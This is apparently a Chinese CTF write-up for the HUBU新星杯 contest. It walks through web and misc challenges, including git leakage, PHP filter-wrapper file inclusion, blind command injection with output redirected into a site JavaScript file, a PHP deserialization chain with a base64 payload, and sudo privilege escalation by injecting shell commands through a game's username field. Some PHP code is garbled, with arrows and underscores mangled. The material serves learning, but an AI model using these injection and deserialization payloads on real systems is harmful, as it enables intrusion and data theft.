[TOC]

HUBU新星杯wp

web

Robots Leak

考点:git泄露

开启题目

image-20241130175850152

先扫目录

image-20241130180035365

git泄露,直接拉取git到本地,然后有个.git文件

image-20241130180200728

进入到文件里,查看日志

image-20241130180256138

找到关键词flag,查看一下内容

image-20241130180337316

拿到一半flag。

查看一下其他日志内容,都没什么营养,然后看看有没有文件,用git stash pop

发现拉取了一个.flag.exe,查看得到下一半

image-20241130180607763

合起来就是全部flag

HUBUCTF{431332b1-e91f-4437-9036-b9059539886f}

ez-http

考点:http基础

image-20241130180913089

http基础,按要求一步一步来,建议抓包放进重放器里面,方便

image-20241130181057278

image-20241130181134970

image-20241130181201614

剩下的就是改referrer,添加一个ip(网上搜一下,多试),然后改cookie等等。(不截图了)

Random_Door

考点:python脚本,php伪协议

打开网站

image-20241130215117246

嗯,好,满天星,写个脚本挨着读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time

base_url = "http://challenge.hubuctf.cn:30423/flag"
delay = 1 # 延迟1秒

for i in range(1, 101):
url = f"{base_url}{i}.php"

try:
response = requests.get(url)

if response.status_code == 200:
print(f"Success: {url}")
print(response.text)
print("-" * 40)
except requests.RequestException as e:
print(f"Failed to access {url}: {e}")

# 延迟1秒
time.sleep(delay)

print("All requests completed.")

最后发现只有两个能打开。

先看第一个,在flag42.php

image-20241130215346661

这是个提示信息,提示可能要传参file

再看第二个flag79.php

image-20241130215427479

1
2
3
4
5
6
7
8
9
10
11
12
 <?php

highlight_file(__FILE__);
error_reporting(0);
if (preg_match('/base64|http/', $_GET['file'])) {
die('base64 | http is not allowed');
} else {
echo "flag in flag.php";
}

include $_GET['file'];
?>

传file,直接filter伪协议读取,然后你就会发现。。。。

flag.php是空哒!哈哈哈哈哈!!!!!!

我只能说真会玩,第一个网页才是真的后门入口,在第一个网页进行filter读取拿到flag。

1
PD9waHAgJGZsYWc9ICJIVUJVQ1RGezUwMGE0MzEyLTM2ZTItNDlkZi05MjRlLTkyY2EzYWM0MDMwN30iIDs/Pgo=

解码得到flag

1
HUBUCTF{500a4312-36e2-49df-924e-92ca3ac40307}

RCE - Level 2

考点:无回显rce

根据提示知道是没有回显的。

image-20241207181550210

打开界面,发现是个登录框,先用御剑扫一下目录

image-20241207181645879

发现cmd.php,打开发现就是命令执行框

image-20241207181722098

先随便ping一个

image-20241207181915228

image-20241207181942232

发现几乎没啥过滤,但是就是无回显

无回显做法:

\1. 将运行结果写入到网站的文件里。

\2. 写马

\3. 进行数据外带,如dnslog,curl等都可以

经过测试,发现static/script.js是可以写入的(虽然我也不知道怎么测试的,是看的别人的wp)

在输入框中输入 127.0.0.1;ls > static/script.js ,页面显示执行成功

后查看js文件,可以看到执行的结果

在根目录下找到flag文件 f1ag_1s_h3r3 ( 127.0.0.1;ls / > static/script.js )

继续读取flag ,执行 127.0.0.1;cat /f1ag_1s_h3r3 > static/script.js

Web Pentest *

考点:APK分析,反序列化

image-20241207183244358

image-20241207183301370

image-20241207183315132

根据对话信息可以推测,可能在协会官网的源代码里

image-20241207183504391

方式一

逆向手应该都有安卓模拟器,直接apk安装到模拟器上。或者直接安装到手机上。

启动app就直接有了web后台地址。

方式二

misc 手应该需要会,apk本质也是个压缩包。把apk后缀改成zip然后解压。直接搜flag 但是有一点要注意,app打包之后xml文件是二进制。因此也考察了选手对于grep的使用情况

/flag1-21daSD21agfgDDDZVFGSVsasd32Ws2asCZCDw.php

admin:admin

grep -a -r “flag” . # 搜索二进制 递归搜索

image-20241207183733181

然后里面就是个简单的反序列化考点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(0); / 关闭错误报告
class K1T0
{
protected $file = 'FLAG.php';
public $test;
public function _ construct($file)
{
$this > file = $file;
}
public function test()
{
system($this > test);
}
function _ toString()
{
if (!empty($this > file)) {
if (!preg_match('/filter/', $this > file)) {
echo $this > file;
printf("再试试");
其实这个序列化很简单链子是 APT > K1T0 触发魔术方法 toString
exit();
} else {
include($this > file);
}
}
return "successful guy!!!";
}
public function kkk()
{
eval ($this > test);
}
}
class APT
{
public $eth0;
public $eth1;
function _ wakeup()
{
echo $this > eth0;
}
}
if (!isset($_GET['file'])) {
show_source( _ FILE _ );
} else {
$file = base64_decode($_GET['file']);
unserialize($file);
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_reporting(0); / 关闭错误报告
class K1T0
{
protected $file = 'php: / filter/read=convert.base64-
encode/resource=/flag';
public $test;
function _ toString()
{
if (!empty($this > file)) {
if (!preg_match( "filter",$this > file)) {
printf("再试试");
exit();
}
else{
include($this > file);
}
}
return "successful guy!!!";
}
}
class APT
{
public $eth0;
public $eth1;
}
$a=new APT();
$a > eth0=new K1T0();
echo base64_encode(serialize($a));
?>
?
file=TzozOiJBUFQiOjI6e3M6NDoiZXRoMCI7Tzo0OiJLMVQwIjoyOntzOjc6IgAqA
GZpbGUiO3M6NTQ6InBocDovL2ZpbHRlci9yZWFkPWNvbnZlcnQuYmFzZTY0LWVuY29
kZS9yZXNvdXJjZT0vZmxhZyI7czo0OiJ0ZXN0IjtOO31zOjQ6ImV0aDEiO047fQ

读取的时候是读取/flag,而不是flag.php,不然是读取不出来的。

misc

真假二维码

考点:文件分离,压缩包密码爆破

下载附件,得到一个压缩包,需要密码,根据提示

image-20241130220123688

image-20241130220230193

解压,有张二维码,扫一下

image-20241130220505297

假的flag,binwalk看一下,发现有包含文件,直接foremost提取,得到另一张二维码

image-20241130220723797

image-20241130220739858

HUBUMARS{751da030-96b5-11ef-89a7-00155d84ef90}

Get Root or Get Lost *

考点:提权

image-20241207173433217

先按照提示连接。

提权,先试试 sudo -l

image-20241207173550048

以sudo命令执行 /opt/game.py ,发现该文件不可读

image-20241207173930648

但是在hubumars的家目录下有一个备份文件 game.bak

image-20241207174004104

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# -*- coding: utf-8 -*-
import random
import subprocess


def play_game():
choices = ["石头", "剪刀", "布"]
print("欢迎来到猜拳游戏!")
print("输入你的选择:")
print("1. 石头")
print("2. 剪刀")
print("3. 布")
print("输入 0 退出游戏")

player = input("请输入你的名字:")
while True:
try:
# global user_choice
user_choice = int(input("你的选择:"))
if user_choice == 0:
print("游戏结束!")
break
if user_choice not in [1, 2, 3]:
print("无效输入,请选择 1, 2, 3 或 0 退出游戏。")
continue

user_move = choices[user_choice - 1]
computer_move = random.choice(choices)

print(f"你选择了:{user_move}")
print(f"电脑选择了:{computer_move}")

if user_move == computer_move:
print("平局!")
elif (
(user_move == "石头" and computer_move == "剪刀")
or (user_move == "剪刀" and computer_move == "布")
or (user_move == "布" and computer_move == "石头")
):
print("你赢了!载入史册")
winner = (
"echo 用户 【%s】 你战胜利计算机!载入史册 >> shice.txt " % player
)
subprocess.Popen(winner, shell=True)

else:
print("你输了!")

except ValueError:
print("无效输入,请输入数字。")
user_choice = "无效输入"
message = "echo 警报警报,检测%s 恶意输入 %s >> warning.txt " % (
player,
user_choice,
)
print(message)
with open("warning.txt", "a") as file:
process = subprocess.Popen(
["echo", message], stdout=file # 将标准输出重定向到文件
)
process.communicate()


if __name__ == "__main__":
play_game()

分析看到这段代码

1
2
3
4
winner = (
"echo 用户 【%s】 你战胜利计算机!载入史册 >> shice.txt " % player
)
subprocess.Popen(winner, shell=True)

发现会执行winner里面的命令,所以只要将用户名设置成可执行函数,就可以执行。

image-20241207174332055

如上图,whoami被执行了,所以我们这次执行找flag.php的命令

1
;find / -name "*flag*" 2>/dev/null;

然后读取root目录下的flag即可

隐秘的流量

考点:流量分析,ICMP协议

用wireshake打开,统计-> 分级协议

image-20241207175808812

发现有UDP,TCP,ICMP协议

重点关注ICMP协议。

WireShark 过滤条件 icmp & icmp.type = 8 【含义:icmp协议,类型8代

表发送请求,参考:ICMP报文的格式和种类-腾讯云开发者社区-腾讯云)

注意到后面都有几个特殊的字符,提取出来

image-20241207175917648

1
2
3
4
5
6
7
8
9
10
11
12
# 使用tshark 提取
└─🍀 tshark -r secret.pcapng -Y 'icmp && icmp.type = 8' -T fields -e "data.data" | xxd -p -r | base32 -d | base64 -d


命令解释:
-r : 读取文件,后面跟流量包文件名
-Y : 过滤的条件,这里是icmp的方法请求的流量包
-T :设置输出格式,如json,fields等
-e : 输出特定的字段
xxd -p -r :将十六进制转化为字符串

windows如果安装了wireshake,则在其目录下有个tshark.exe程序。

HUBUMARS{1CMp_da7a_15_1n73R3571N9}